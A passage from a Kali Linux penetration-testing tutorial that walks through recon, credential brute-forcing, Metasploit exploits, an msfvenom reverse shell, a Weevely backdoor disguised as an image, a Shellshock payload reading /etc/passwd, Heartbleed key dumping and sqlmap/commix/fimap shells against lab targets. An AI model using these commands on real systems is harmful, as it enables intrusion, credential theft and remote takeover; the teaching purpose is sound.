Chapter 4: Network-Level Exploitation
This chapter covers practical techniques for exploiting network services using tools available in Kali Linux. We will use vulnerable virtual machines such as Stapler and Metasploitable 2 to demonstrate credential attacks, service exploitation, and custom script usage.
Gathering Intelligence to Credential Attacks
Effective password cracking begins with comprehensive information gathering. Kali provides numerous wordlists located at /usr/share/wordlists/. One of the most widely used is rockyou.txt.gz, which must be decompressed before use:
gunzip /usr/share/wordlists/rockyou.txt.gz
To identify potential targets, we begin by discovering IP addresses on the local subnet:
nbtscan 192.168.1.1-255
Next, perform a full port scan using Nmap:
nmap -sT -T4 -sV -p 1-65535 192.168.1.105
From open services like FTP, SSH, HTTP, and SMB, extract usernames and clues. For example, anonymous FTP access may reveal configuration notes containing valid usernames. Enumerate WordPress users via wpscan:
wpscan --url http://192.168.1.105:12380/blogblog/ --enumerate u
Additionally, use enum4linux to enumerate Windows/Samba shares and user accounts:
enum4linux 192.168.1.105 | grep "user:" | cut -d "[" -f2 | cut -d "]" -f1 > users.txt
The collected credentials form the foundation for targeted brute-force attempts.
Brute-Forcing FTP with Custom Wordlists
Hydra is an efficient tool for parallelized login attacks. To test FTP credentials using a username list:
hydra -e nsr -L users.txt 192.168.1.105 ftp -t 4
-e nsr: Checks null passwords (n), username-as-password (s), and reversed usernames (r)-L: Specifies the username file-t: Sets concurrent tasks
Successful results can be verified by manually logging into the FTP server.
SSH Credential Cracking Using Multiple Tools
Several tools are effective for SSH brute-forcing. With Hydra:
hydra -e nsr -L users.txt 192.168.1.105 ssh -t 4
Patator offers greater flexibility and reliability:
patator ssh_login host=192.168.1.105 user=SHayslett password_file=users.txt
Ncrack, designed for high-speed network audits, supports modular syntax:
ncrack -v --user sys -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.105
Each tool has unique strengths—choose based on target behavior and performance requirements.
Attacking HTTP Login Panels
WordPress sites are common targets. After enumerating users, launch a dictionary attack using wpscan:
wpscan --url http://192.168.1.105:12380/blogblog/ --wordlist /usr/share/wordlists/rockyou.txt --threads 50
Valid credentials allow administrative access, potential leading to code execution through theme/plugin editing.
Database Service Attacks: MySQL and PostgreSQL
Metasploit includes auxiliary modules for database login testing. For MySQL:
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.1.105
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS true
run
For PostgreSQL:
use auxiliary/scanner/postgres/postgres_login
set RHOSTS 192.168.1.105
run
These modules efficiently test large password lists against default configurations.
Cisco Device Authentication Testing
The Cisco Audit Tool (CAT) checks for weak credentials on routers. Assuming a device at 192.168.1.88:
CAT -h 192.168.1.88 -w cisco_users.txt -a cisco_pass.txt
-h: Target host-w: Username wordlist-a: Password wordlist
This helps assess misconfigurations in network infrastructure devices.
Exploiting Vulnerable Unix Services
Using Metasploit, search for known exploits:
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.105
set PAYLOAD cmd/unix/interact
exploit
Another example targets the DistCC daemon:
search distcc
use exploit/unix/misc/distcc_exec
set RHOSTS 192.168.1.105
set PAYLOAD cmd/unix/bind_perl
exploit
Such exploits take advantage of outdated software with public vulnerabilities.
Windows Service Exploitation
After identifying services like Konica Minolta FTP, Easy File Sharing HTTP Server, and Blue Coat BCAAA, verify exploit availability:
nmap -sV 192.168.1.106
search kmftp
use exploit/windows/ftp/kmftp_utility_cwd
set RHOSTS 192.168.1.106
set PAYLOAD windows/shell_bind_tcp
exploit
Repeat similar steps for other vulnerable services to gain multiple shells.
Manual Exploit Script Usage from Exploit-DB
Bypassing Metasploit, you can directly use Python-based exploits. First, locate one:
searchsploit ms08-067
Copy and modify the payload in /usr/share/exploitdb/exploits/windows/remote/40279.py. Generate a custom shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 -b '\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40' -f python -a x86
Replace the original shellcode in the script, ensuring buffer size consistency. Start a listener:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 443
exploit
Execute the modified script:
python 40279.py 192.168.1.106 1
If successful, a reverse shell connects back to your machine.
Chapter 5: Web Reconnaissance Techniques
Configuring API Keys in Recon-ng
Recon-ng enhances OSINT collection when integrated with external APIs. Add Twitter keys:
- Create an app at
apps.twitter.com - Retrieve API key and secret
- In recon-ng:
keys add twitter_api YOUR_API_KEY
keys add twitter_secret YOUR_SECRET_KEY
Similarly, register at Shodan.io and add the API key:
keys add shodan_api YOUR_SHODAN_KEY
Use keys list to confirm all entries.
Performing Reconnaissance with Recon-ng
Launch recon-ng and explore modules:
recon-ng
show modules
use recon/domains-vulnerabilities/punkspider
set SOURCE example.com
run
Another useful module pulls XSS data:
use recon/domains-vulnerabilities/xssed
set SOURCE microsoft.com
run
Data is stored automatically in the workspace database.
Harvesting Information with theHarvester
Gather emails, subdomains, and hosts from public sources:
theharvester -d visa.com -l 500 -b all
This aggregates results from Google, Bing, PGP servers, and Shodan.
DNS Enumeration Using dnsenum and dnsrecon
Extract DNS records including NS, MX, SOA, and attempt zone transfers:
dnsenum --enum zonetransfer.me
For more reliable output, use dnsrecon:
dnsrecon -d zonetransfer.me -D /usr/share/wordlists/dnsmap.txt -t std --xml output.xml
Additional tools include fierce, dnstracer, and dig for advanced queries.
Web Application Firewall Detection
Identify WAF presence using wafw00f:
wafw00f https://www.microsoft.com
It analyzes HTTP responses and uses heuristic methods to fingerprint protection systems.
Detecting Load Balancers
Use lbd to detect HTTP and DNS load balancing:
lbd google.com
Complement with dig and halberd:
dig A google.com
halberd http://vmware.com
Differences in headers, cookies, or response timing indicate load-balanced environments.
Discovering Hidden Directories with DirBuster
DirBuster performs directory and file brute-forcing:
- Start GUI under Kali → Web Applications → DirBuster
- Enter target URL:
http://demo.testfire.net - Select wordlist:
/usr/share/dirbuster/wordlists/directory-list-medium.txt - Set file extension:
php - Click Start
Responses with status 200, 401, or 403 may indicate hidden content worth investigating.
Fingerprinting CMS and Plugins
WhatWeb identifies technologies behind websites:
whatweb ishangirdhar.com
Plecost scans WordPress installations for plugins and versions:
plecost -n 100 -s 10 -M 15 -i /usr/share/plecost/wp_plugin_list.txt ishangirdhar.com
Alternative tools include WPScan, Joomscan, and DrupalScan.
SSL/TLS Vulnerability Scanning
Check cipher strength and SSL issues with sslscan:
sslscan demo.testfire.net
SSLYze provides faster, protocol-rich analysis:
sslyze --regular demo.testfire.net
TLSSLed gives detailed insights including cookie flags:
tlssled demo.testfire.net 443
These tools help detect weak ciphers, Heartbleed, and improper certificate validation.
Chapter 6: Web Vulnerability Assessment
Running Vulnerable Apps in Docker
Pull and run pre-built containers:
docker pull intrusionexploitation/dvwa-wordpress2.2-bricks
docker run --name dvwa_container intrusionexploitation/dvwa-wordpress2.2-bricks
docker inspect dvwa_container | grep IPAddress
Access applications via the assigned container IP.
Vulnerability Scanning with w3af
Launch GUI:
w3af_gui
Configure target, authentication, output formats, then start scan. Results include discovered URLs and identified vulnerabilities.
Web Server Scanning with Nikto
Run comprehensive tests:
nikto -host http://172.17.0.2/wordpress/ -nossl -o wordpress-nikto-scan.xml
Nikto checks outdated software, dangerous files, and misconfigurations.
Active Crawling with Skipfish
High-performance scanner written in C:
skipfish -o /root/dvwa-skipfish-results http://172.17.0.2/dvwa/login.php
Generates interactive HTML reports upon completion.
Traffic Interception with Burp Proxy
Configure browser proxy settings to 127.0.0.1:8080. All traffic flows through Burp, allowing real-time request/response manipulation.
Automated Attacks with Burp Intruder
Capture login request, send to Intruder, select parameters (e.g., username/password), choose attack type (e.g., Battering Ram), load payloads, and set grep match conditions for success detection.
Session Randomness Testing with Burp Sequencer
Analyze session tokens (e.g., PHPSESSID) captured via Proxy. Send to Sequencer and collect samples to evaluate randomness quality. Poor entropy increases session hijacking risk.
Chapter 7: Web Exploitation
Passive and Active Scanning with Burp Suite Pro
After setting up proxy interception, browse target application. Burp logs all requests. Right-click target in Site Map → Add to Scope → Spider this Host → Actively Scan this Host. Review findings including SQLi, XSS, command injection.
SQL Injection Detection with sqlmap
Intercept login request in Burp, save to file, then run:
sqlmap -r ./login_request.txt --is-dba --tables --users
For authenticated endpoints:
sqlmap --url "http://172.17.0.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=abc123" --current-db --current-user
Sqlmap automates detection and data extraction from SQL injection flaws.
OS Command Injection with commix
Given a vulnerable parameter:
commix --url "http://172.17.0.2/dvwa/vulnerabilities/exec/" --cookie='security=low; PHPSESSID=abc123' --data='ip=INJECT_HERE&Submit=Submit' -all
Upon confirmation, it offers a pseudo-terminal for command execution.
File Upload Exploitation with Weevely
Generate a stealthy PHP backdoor:
weevely generate mysecretpass /root/backdoor.php
mv backdoor.php backdoor.jpg
Upload via web interface, then connect:
weevely http://172.17.0.2/dvwa/hackable/uploads/backdoor.jpg.jpg mysecretpass
Execute commands or escalate privileges from within the shell.
Exploiting Shellshock via Burp Repeater
Send CGI request to Repeater, modify User-Agent header:
User-Agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'
Click Go and view output in Resposne panel. This demonstrates arbitrary command execution via environment variables.
Leveraging Heartbleed with Metasploit
Search and use the OpenSSL Heartbleed module:
search heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 172.17.0.4
set RPORT 443
set ACTION SCAN
run
Change action to DUMP or KEYS to retrieve memory contents or private keys.
Local and Remote File Inclusion with Fimap
Test LFI/RFI vulnerabilities:
fimap -u 'http://172.17.0.2/dvwa/vulnerabilities/fi/?page=include.php' --cookie="security=low; PHPSESSID=abc123" --enable-blind
To obtain a shell:
fimap -u http://172.17.0.2/dvwa/vulnerabilities/fi/?page=include.php --cookie="security=low; PHPSESSID=abc123" -x
Select payload options interactively to establish remote access.